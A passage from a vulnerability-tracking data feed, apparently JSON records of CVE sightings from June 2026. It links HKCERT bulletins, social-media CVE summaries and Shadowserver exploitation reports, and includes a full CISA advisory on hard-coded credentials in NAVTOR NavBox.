"author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-21736", "type": "seen", "source": "https://www.hkcert.org/security-bulletin/android-multiple-vulnerabilities_20260602", "content": "", "creation_timestamp": "2026-06-01T18:00:00.000000Z"}, {"uuid": "6318c135-df9e-4413-a10c-33b20d36d071", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-21539", "type": "seen", "source": "https://www.hkcert.org/security-bulletin/android-multiple-vulnerabilities_20260602", "content": "", "creation_timestamp": "2026-06-01T18:00:00.000000Z"}, {"uuid": "14c426e6-821f-41d7-bd4e-f34bbf8a2069", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-21376", "type": "seen", "source": "https://www.hkcert.org/security-bulletin/android-multiple-vulnerabilities_20260602", "content": "", "creation_timestamp": "2026-06-01T18:00:00.000000Z"}, {"uuid": "0c4305bd-e4a0-487f-a7ca-4f946bb9065c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-21546", "type": "seen", "source": "https://www.hkcert.org/security-bulletin/android-multiple-vulnerabilities_20260602", "content": "", "creation_timestamp": "2026-06-01T18:00:00.000000Z"}, {"uuid": "ebfb3c2e-c034-4edb-9b01-be5308fde0e8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-21352", "type": "seen", "source": "https://www.hkcert.org/security-bulletin/android-multiple-vulnerabilities_20260602", "content": "", "creation_timestamp": "2026-06-01T18:00:00.000000Z"}, {"uuid": "5f5c16f8-8e22-4e97-a382-3da329e5b086", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-21367", "type": "seen", "source": "https://www.hkcert.org/security-bulletin/android-multiple-vulnerabilities_20260602", "content": "", "creation_timestamp": "2026-06-01T18:00:00.000000Z"}, {"uuid": "a16c08c6-1e74-48ae-91d9-c387bfbeed0b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-21372", "type": "seen", "source": "https://www.hkcert.org/security-bulletin/android-multiple-vulnerabilities_20260602", "content": "", "creation_timestamp": "2026-06-01T18:00:00.000000Z"}, {"uuid": "1f4727d5-f900-4f06-964a-db390e0612fa", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-21373", "type": "seen", "source": "https://www.hkcert.org/security-bulletin/android-multiple-vulnerabilities_20260602", "content": "", "creation_timestamp": "2026-06-01T18:00:00.000000Z"}, {"uuid": "32a393e1-94a0-4b31-8caf-dc0aa9fc088e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-21374", "type": "seen", "source": "https://www.hkcert.org/security-bulletin/android-multiple-vulnerabilities_20260602", "content": "", "creation_timestamp": "2026-06-01T18:00:00.000000Z"}, {"uuid": "10b231b0-d043-44d0-88e6-d9506d1a254f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-21381", "type": "seen", "source": "https://www.hkcert.org/security-bulletin/android-multiple-vulnerabilities_20260602", "content": "", "creation_timestamp": "2026-06-01T18:00:00.000000Z"}, {"uuid": "1ea03397-1759-4c74-8cb5-ff50880aacb7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-21541", "type": "seen", "source": "https://www.hkcert.org/security-bulletin/android-multiple-vulnerabilities_20260602", "content": "", "creation_timestamp": "2026-06-01T18:00:00.000000Z"}, {"uuid": "299d4d0a-af3a-4333-a89b-c9555e4d815d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-21378", "type": "seen", "source": "https://www.hkcert.org/security-bulletin/android-multiple-vulnerabilities_20260602", "content": "", "creation_timestamp": "2026-06-01T18:00:00.000000Z"}, {"uuid": "5c358a68-f2ee-4ec3-af49-89f4a2e66d5a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-21380", "type": "seen", "source": "https://www.hkcert.org/security-bulletin/android-multiple-vulnerabilities_20260602", "content": "", "creation_timestamp": "2026-06-01T18:00:00.000000Z"}, {"uuid": "c26b0b86-2514-4b7b-a1ef-4a99848bd314", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-21538", "type": "seen", "source": "https://www.hkcert.org/security-bulletin/android-multiple-vulnerabilities_20260602", "content": "", "creation_timestamp": "2026-06-01T18:00:00.000000Z"}, {"uuid": "a8534e72-2d71-482f-a4a7-256144f30788", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-21544", "type": "seen", "source": "https://www.hkcert.org/security-bulletin/android-multiple-vulnerabilities_20260602", "content": "", "creation_timestamp": "2026-06-01T18:00:00.000000Z"}, {"uuid": "e2ffebea-4806-4a0a-a650-be15a29a78a5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-21547", "type": "seen", "source": "https://www.hkcert.org/security-bulletin/android-multiple-vulnerabilities_20260602", "content": "", "creation_timestamp": "2026-06-01T18:00:00.000000Z"}, {"uuid": "6d70394a-1885-433f-93b4-dca2abf09864", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-21870", "type": "seen", "source": "https://bsky.app/profile/theresidentmachine.bsky.social/post/3mnedydo7z62r", "content": "CVE-2026-21870: When the Tokenizer Forgot About the Null Terminator\n\n#TheResident #ehabhussein #cybersecurity #infosec #vulnerability #CVE #hacking #security #CVE202621870", "creation_timestamp": "2026-06-03T05:13:24.122728Z"}, {"uuid": "fc32efe9-1825-4368-86f2-dcbfa1d095ad", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-21026", "type": "seen", "source": "https://www.hkcert.org/security-bulletin/samsung-products-multiple-vulnerabilities_20260603", "content": "", "creation_timestamp": "2026-06-02T20:00:00.000000Z"}, {"uuid": "b0fcc721-52e8-47e6-a5b8-ae46d7424ead", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-21017", "type": "seen", "source": "https://www.hkcert.org/security-bulletin/samsung-products-multiple-vulnerabilities_20260603", "content": "", "creation_timestamp": "2026-06-02T20:00:00.000000Z"}, {"uuid": "e470aaa7-eb17-4788-a22e-b3dd097fb2cc", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-21025", "type": "seen", "source": "https://www.hkcert.org/security-bulletin/samsung-products-multiple-vulnerabilities_20260603", "content": "", "creation_timestamp": "2026-06-02T20:00:00.000000Z"}, {"uuid": "5e89c161-5c25-4150-8904-39a9c3dc01e0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-21027", "type": "seen", "source": "https://www.hkcert.org/security-bulletin/samsung-products-multiple-vulnerabilities_20260603", "content": "", "creation_timestamp": "2026-06-02T20:00:00.000000Z"}, {"uuid": "13cfbe6b-e4d1-494a-8352-cd63ce6e7c87", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-21028", "type": "seen", "source": "https://www.hkcert.org/security-bulletin/samsung-products-multiple-vulnerabilities_20260603", "content": "", "creation_timestamp": "2026-06-02T20:00:00.000000Z"}, {"uuid": "e97c4abf-8235-40f5-b3fa-6018777149f1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-21029", "type": "seen", "source": "https://www.hkcert.org/security-bulletin/samsung-products-multiple-vulnerabilities_20260603", "content": "", "creation_timestamp": "2026-06-02T20:00:00.000000Z"}, {"uuid": "da055073-85b1-400e-bd55-ea8ca8b1302c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-21030", "type": "seen", "source": "https://www.hkcert.org/security-bulletin/samsung-products-multiple-vulnerabilities_20260603", "content": "", "creation_timestamp": "2026-06-02T20:00:00.000000Z"}, {"uuid": "e2d71cf5-aeab-42b8-9132-0a49b1c535c5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-21031", "type": "seen", "source": "https://www.hkcert.org/security-bulletin/samsung-products-multiple-vulnerabilities_20260603", "content": "", "creation_timestamp": "2026-06-02T20:00:00.000000Z"}, {"uuid": "e13bac18-eab2-4396-a9c2-f1b0b64d4141", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-21352", "type": "seen", "source": "https://www.hkcert.org/security-bulletin/samsung-products-multiple-vulnerabilities_20260603", "content": "", "creation_timestamp": "2026-06-02T20:00:00.000000Z"}, {"uuid": "83d1406a-515e-48cf-8ba5-99939cef0598", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-21353", "type": "seen", "source": "https://www.hkcert.org/security-bulletin/samsung-products-multiple-vulnerabilities_20260603", "content": "", "creation_timestamp": "2026-06-02T20:00:00.000000Z"}, {"uuid": "95e08e95-b013-4993-839e-c3eb92542845", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-21891", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-06-02)", "content": "", "creation_timestamp": "2026-06-02T00:00:00.000000Z"}, {"uuid": "4eadfcd5-69fe-4a41-8206-8cc33600d8e3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-2128", "type": "seen", "source": "https://bsky.app/profile/atomicedge.bsky.social/post/3mngxxzhwgk2v", "content": "CVE-2026-2128 breeze (CVSS Score 5.3) #WordPress plugin #vulnerability #cybersecurity #wordpressfirewall #wordpresssecurity #hacking #wpsecurity #atomicedge", "creation_timestamp": "2026-06-04T06:16:27.472299Z"}, {"uuid": "544bc1db-4a10-47c3-871b-e9b05445354a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-21643", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-06-03)", "content": "", "creation_timestamp": "2026-06-03T00:00:00.000000Z"}, {"uuid": "50f79622-5bc3-43a9-9437-11a6755ae098", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-21404", "type": "seen", "source": "https://bsky.app/profile/boredchilada.bsky.social/post/3mnhyodv5pj2v", "content": "~Cisa~\nNAVTOR NavBox <=4.16.1.20 contains hard-coded credentials allowing local attackers to overwrite files.\n-\nIOCs: CVE-2026-21404\n-\n#CVE202621404 #ICS #ThreatIntel", "creation_timestamp": "2026-06-04T16:01:37.004111Z"}, {"uuid": "73ac6e01-ef61-415a-b4cd-288dd0678302", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-21404", "type": "seen", "source": "https://www.cisa.gov/news-events/ics-advisories/icsa-26-155-01", "content": "View CSAF\n\nSummary\n\nSuccessful exploitation of this vulnerability could allow a local attacker to gain unauthorized access to SOAP methods, resulting in a disruption of operations.\n\nThe following versions of NAVTOR NavBox are affected:\n\n\n\nNavBox 4.16.1.20 (CVE-2026-21404)\n\n<div class=\"csaf-table\">\n\n\n\n\nCVSS\nVendor\nEquipment\nVulnerabilities\n\n\n\n\nv3 6.3\nNAVTOR\nNAVTOR NavBox\nUse of Hard-coded Credentials\n\n\n\n</div>\n\nBackground\n\n\n\nCritical Infrastructure Sectors: Information Technology\n\nCountries/Areas Deployed: Worldwide\n\nCompany Headquarters Location: Norway\n\n\n\n\nVulnerabilities\n<div class=\"csaf-accordion\">\n\nExpand All +\n<div class=\"csaf-accordion-item\">\n\nCVE-2026-21404\n<div class=\"csaf-accordion-content\">\n\nNAVTOR NavBox through version 4.16.1.20 contains hard-coded credentials within its Windows Communication Foundation (SOAP) implementation. If the SOAP functionality is enabled, a local attacker can extract credentials to bypass the intended transfer workflow. Successful authentication against the SOAP interface grants access to privileged WCF methods, enabling an attacker to write or overwrite files within application-defined paths.\n\nView CVE Details\n\n\n\nAffected Products\n\nNAVTOR NavBox\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:NAVTOR</div>\n<div class=\"ics-version\">Product Version:NAVTOR NavBox: 4.16.1.20</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixNAVTOR has released a patch for NavBox in April 2026. Version 4.17.2.6 and later includes the fix. Users that have an active NavBox connection will automatically be kept up to date with the latest version. No user action required.\n</div>\n\nRelevant CWE: CWE-798 Use of Hard-coded Credentials\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n6.3\nMEDIUM\nCVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:N/I:H/A:H\n\n\n4.0\n5.8\nMEDIUM\nCVSS:4.0/AV:L/AC:H/AT:N/PR:L/UI:N/VC:N/VI:H/VA:H/SC:N/SI:N/SA:N\n\n\n\n</div>\n</div>\n</div>\n</div>\n\n\n\nAcknowledgments\n\n\n\nCydome Security Ltd reported this vulnerability to CISA\n\n\n\n\nLegal Notice and Terms of Use\n\nThis product is provided subject to this Notification (https://www.cisa.gov/notification) and this Privacy & Use policy (https://www.cisa.gov/privacy-policy).\n\n\n\nRecommended Practices\n\nCISA recommends users take defensive measures to minimize the risk of exploitation of this vulnerability.\n\nMinimize network exposure for all control system devices and/or systems, ensuring they are not accessible from the internet.\n\nLocate control system networks and remote devices behind firewalls and isolating them from business networks.\n\nWhen remote access is required, use more secure methods, such as Virtual Private Networks (VPNs), recognizing VPNs may have vulnerabilities and should be updated to the most current version available. Also recognize VPN is only as secure as the connected devices.\n\nCISA reminds organizations to perform proper impact analysis and risk assessment prior to deploying defensive measures.\n\nCISA also provides a section for control systems security recommended practices on the ICS webpage on cisa.gov/ics. Several CISA products detailing cyber defense best practices are available for reading and download, including Improving Industrial Control Systems Cybersecurity with Defense-in-Depth Strategies.\n\nCISA encourages organizations to implement recommended cybersecurity strategies for proactive defense of ICS assets.\n\nAdditional mitigation guidance and recommended practices are publicly available on the ICS webpage at cisa.gov/ics in the technical information paper, ICS-TIP-12-146-01B--Targeted Cyber Intrusion Detection and Mitigation Strategies.\n\nOrganizations observing suspected malicious activity should follow established internal procedures and report findings to CISA for tracking and correlation against other incidents.\n\nCISA also recommends users take the following measures to protect themselves from social engineering attacks:\n\nDo not click web links or open attachments in unsolicited email messages.\n\nRefer to Recognizing and Avoiding Email Scams for more information on avoiding email scams.\n\nRefer to Avoiding Social Engineering and Phishing Attacks for more information on social engineering attacks.\n\nNo known public exploitation specifically targeting this vulnerability has been reported to CISA at this time. This vulnerability is not exploitable remotely. This vulnerability has a high attack complexity.\n\n\n\nRevision History\n\n\n\nInitial Release Date: 2026-06-04\n\n\n\n\n\nDate\nRevision\nSummary\n\n\n\n\n2026-06-04\n1\nInitial Publication\n\n\n\n\n\n\nLegal Notice and Terms of Use", "creation_timestamp": "2026-06-04T10:00:00.000000Z"}, {"uuid": "2ccb1af1-0881-4b9c-a3e1-1e86aee4a180", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-21404", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mniq3d45mw2w", "content": "CVE-2026-21404 - NAVTOR NavBox Use of Hard-coded Credentials\nCVE ID : CVE-2026-21404\n \n Published : June 4, 2026, 8:16 p.m. | 2\u00a0hours, 13\u00a0minutes ago\n \n Description : NAVTOR NavBox through version 4.16.1.20 contains hard-coded credentials within its Windows Communication Found...", "creation_timestamp": "2026-06-04T23:00:27.874343Z"}, {"uuid": "514ec85c-253c-40c1-a478-4c873c7d30b2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-21837", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mnjly7lsja2b", "content": "CVE-2026-21837 - HCL Digital Experience is affected by an OS command injection vulnerability in the Digital Asset Management API\nCVE ID : CVE-2026-21837\n \n Published : June 5, 2026, 5:50 a.m. | 1\u00a0hour, 23\u00a0minutes ago\n \n Description : HCL Digital Experience is affected by an OS...", "creation_timestamp": "2026-06-05T07:19:48.524569Z"}, {"uuid": "562ae401-f4c3-4c6a-8e26-ecc91fb5c0f9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "cve-2026-21837", "type": "seen", "source": "https://infosec.exchange/users/offseq/statuses/116696326209405668", "content": "\u26a0\ufe0f CVE-2026-21837 (HIGH, CVSS 8.7): OS command injection in HCLSoftware Digital Experience 9.5 (Digital Asset Mgmt API). No patch yet. Restrict API access & validate inputs. No active exploits reported. https://radar.offseq.com/threat/cve-2026-21837-cwe-78-improper-neutralization-of-s-1a211ebe #OffSeq #Vulnerability #InfoSec", "creation_timestamp": "2026-06-05T07:30:27.282761Z"}, {"uuid": "ccd5d2db-29f2-4bc1-9f93-3fb5c01e727f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "cve-2026-21837", "type": "seen", "source": "https://bsky.app/profile/offseq.bsky.social/post/3mnjmlbvx3a2j", "content": "HCLSoftware Digital Experience 9.5 hit by HIGH severity OS command injection (CVSS 8.7). No patch yet. Restrict API access and validate inputs until official fix. https://radar.offseq.com/threat/cve-2026-21837-cwe-78-improper-neutralization-of-s-1a211ebe #OffSeq #Vulnerability #CyberSecurity", "creation_timestamp": "2026-06-05T07:30:28.746647Z"}, {"uuid": "a17c8adb-f97d-406a-8e23-cb543217496a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-21825", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mnjqqcwjcv24", "content": "CVE-2026-21825 - HCL Digital Experience Compose is affected by a reflected cross-site scripting (XSS) vulnerability in the search center\nCVE ID : CVE-2026-21825\n \n Published : June 5, 2026, 7:16 a.m. | 1\u00a0hour, 16\u00a0minutes ago\n \n Description : HCL Digital Experience Compose is a...", "creation_timestamp": "2026-06-05T08:44:52.440796Z"}, {"uuid": "0003c116-e98b-461b-bb03-0963b4978e08", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-21826", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mnjrl6q2s42m", "content": "CVE-2026-21826 - HCL Digital Experience and HCL Digital Experience Compose could be susceptible to Host header injection\nCVE ID : CVE-2026-21826\n \n Published : June 5, 2026, 7:16 a.m. | 1\u00a0hour, 16\u00a0minutes ago\n \n Description : HCL Digital Experience and HCL Digital Experience C...", "creation_timestamp": "2026-06-05T08:59:53.501456Z"}, {"uuid": "d5f8b1c9-fe91-4809-b792-b75869825bf4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-21036", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mnk6nsli752a", "content": "CVE-2026-21036 - Samsung Internet Local Information Disclosure\nCVE ID : CVE-2026-21036\n \n Published : June 5, 2026, 11:16 a.m. | 1\u00a0hour, 16\u00a0minutes ago\n \n Description : Improper authorization in Samsung Internet prior to version 30.0.0.39 allows local attackers to access sensi...", "creation_timestamp": "2026-06-05T12:54:00.146141Z"}, {"uuid": "3d472a05-5fcd-44f5-bbf4-4db6dfd3ec96", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-21035", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mnk7762zib2v", "content": "CVE-2026-21035 - Samsung Plus TV Information Disclosure\nCVE ID : CVE-2026-21035\n \n Published : June 5, 2026, 11:16 a.m. | 1\u00a0hour, 16\u00a0minutes ago\n \n Description : Improper input validation in Samsung Plus TV prior to version 1.0.28.6 allows remote attackers to access sensitive ...", "creation_timestamp": "2026-06-05T13:03:44.548117Z"}, {"uuid": "946c3710-899b-4715-924a-87a885214f2d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-21038", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mnkabwioji22", "content": "CVE-2026-21038 - Samsung Android USB Driver Out-of-Bounds Read\nCVE ID : CVE-2026-21038\n \n Published : June 5, 2026, 11:16 a.m. | 1\u00a0hour, 16\u00a0minutes ago\n \n Description : Improper input validation in Samsung Android USB Driver for Windows prior to version 1.9.5.0 allows local at...", "creation_timestamp": "2026-06-05T13:23:09.403947Z"}, {"uuid": "d9416b1c-6642-49e7-990b-902b65a43f1e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-21962", "type": "seen", "source": "https://mastodon.social/ap/users/115426718704364579/statuses/116699170782544067", "content": "\ud83d\udcf0 Critical Oracle WebLogic Flaw (CVSS 10.0) Poses Severe Edge-Exposure Risk\n\ud83d\udea8 CRITICAL FLAW: A CVSS 10.0 vulnerability (CVE-2026-21962) in Oracle WebLogic's Proxy Plug-in is under active exploitation. The flaw allows unauthenticated attackers to compromise edge servers. Patch immediately! #Oracle #WebLogic #CyberSecurity #V...\n\ud83c\udf10 cyber[.]netsecops[.]io\n\ud83d\udd17 https://cyber.netsecops.io/articles/oracle-weblogic-vulnerability-poses-edge-exposure-risk/?utm_source=mastodon&u\u2026", "creation_timestamp": "2026-06-05T19:33:58.363707Z"}, {"uuid": "13d78a79-9c5b-4b67-b958-64da1f34665e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-21962", "type": "seen", "source": "https://bsky.app/profile/netsecio.bsky.social/post/3mnkuzl7shu2j", "content": "\ud83d\udea8 CRITICAL FLAW: A CVSS 10.0 vulnerability (CVE-2026-21962) in Oracle WebLogic's Proxy Plug-in is under active exploitation. The flaw allows unauthenticated attackers to compromise edge servers. Patch immediately! #Oracle #WebLogic #CyberSecurity #V...\n\n\ud83c\udf10 cyber[.]netsecops[.]io", "creation_timestamp": "2026-06-05T19:34:18.130253Z"}, {"uuid": "189ec6ee-9985-45f4-aa65-de1ce549c1f9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-21029", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3mnluo3ptc32b", "content": "\ud83d\udfe0 CVE-2026-21029 - High (7.8)\n\nImproper export of android application components in Galaxy Editing Service prior to SMR Jun-2026...\n\nhttps://www.thehackerwire.com/vulnerability/CVE-2026-21029/\n\n#infosec #cybersecurity #CVE #vulnerability #security #patchstack", "creation_timestamp": "2026-06-06T05:00:32.515262Z"}, {"uuid": "bba0e46c-badd-4eab-992c-c328d6eb6839", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-21030", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3mnluodrdg62o", "content": "\ud83d\udfe0 CVE-2026-21030 - High (7.8)\n\nImproper access control in MediaTek Audio HAL prior to SMR Jun-2026 Release 1 allows local attack...\n\nhttps://www.thehackerwire.com/vulnerability/CVE-2026-21030/\n\n#infosec #cybersecurity #CVE #vulnerability #security #patchstack", "creation_timestamp": "2026-06-06T05:00:41.240000Z"}, {"uuid": "e6948215-b424-4798-80ce-aba9d67ae855", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-21031", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3mnlxyygy652q", "content": "\ud83d\udfe0 CVE-2026-21031 - High (7.8)\n\nImproper authorization in AppBlock prior to SMR Jun-2026 Release 1 allows local attacker to launc...\n\nhttps://www.thehackerwire.com/vulnerability/CVE-2026-21031/\n\n#infosec #cybersecurity #CVE #vulnerability #security #patchstack", "creation_timestamp": "2026-06-06T06:00:19.718225Z"}, {"uuid": "84e42386-4ad8-4614-bc6d-7aa43fc20e1e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-21643", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-06-05)", "content": "", "creation_timestamp": "2026-06-05T00:00:00.000000Z"}, {"uuid": "0715bdb5-ffbd-40b7-a81a-f2019a7aecd6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-21853", "type": "seen", "source": "https://bsky.app/profile/cyberhub.blog/post/3mnnamnj6ez2e", "content": "\ud83d\udccc CVE-2026-21853 - AFFiNE is an open-source, all-in-one workspace and an operating system. Prior to version 0.25.4, there is a one-click remote code execution vulnerabil... https://www.cyberhub.blog/cves/CVE-2026-21853", "creation_timestamp": "2026-06-06T18:07:07.914964Z"}, {"uuid": "4be48bcd-91fc-4c3f-8fa7-9473f8e7210e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-21858", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-08-16)", "content": "", "creation_timestamp": "2026-08-17T10:15:07.201566Z"}, {"uuid": "66671dd3-afb4-4118-aa83-e6327193e092", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-21643", "type": "seen", "source": "https://t.me/VulnerabilityNews/41878", "content": "CISA Adds Seven Known Exploited Vulnerabilities to Catalog\n\nCISA has added seven new vulnerabilities to its Known Exploited Vulnerabilities (KEV) Catalog, based on evidence of active exploitation.\nCVE-2012-1854 Microsoft Visual Basic for Applications Insecure Library Loading Vulnerability\nCVE-2020-9715 Adobe Acrobat Use-After-Free Vulnerability\nCVE-2023-21529 Microsoft Exchange Server Deserialization of Untrusted Data Vulnerability\nCVE-2023-36424 Microsoft Windows 